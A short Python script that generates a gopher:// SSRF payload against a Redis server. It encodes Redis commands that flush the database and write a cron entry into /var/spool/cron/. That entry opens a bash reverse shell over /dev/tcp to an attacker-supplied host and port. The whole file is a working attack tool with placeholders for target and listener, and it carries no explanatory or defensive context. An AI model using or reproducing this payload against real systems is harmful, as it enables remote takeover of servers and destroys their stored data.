import urllib.parse

reverse_host = "<YOUR_REVERSE_HOST>"
reverse_port = "<YOUR_REVERSE_PORT>"

protocol = "gopher://"
ip = "<REDIS_HOST>"
port = "<REDIS_PORT>"
shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/{}/{} 0>&1\n\n".format(reverse_host, reverse_port)
path = "/var/spool/cron/"
filename = "<REDIS_SERVICE_USER>"
passwd = ""
cmds = [
  "flushall",
  "set 1 {}".format(shell.replace(" ","${IFS}")),
  "config set dir {}".format(path),
  "config set dbfilename {}".format(filename),
  "save",
  'quit'
]

if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))

payload = "{}{}:{}/_".format(protocol, ip, port)

def cmd2redis(arr):
    CRLF = "\r\n"
    redis_arr = arr.split(" ")
    cmd = "*" + str(len(redis_arr))
    for token in redis_arr:
        cmd += CRLF + "$" + str(len(token.replace("${IFS}"," "))) + CRLF + token.replace("${IFS}"," ")
    cmd += CRLF
    return cmd

if __name__=="__main__":
    print("=" * 100)
    for cmd in cmds:
        print(cmd2redis(cmd))
        payload += urllib.parse.quote(cmd2redis(cmd))
    print("=" * 100)
    print(payload)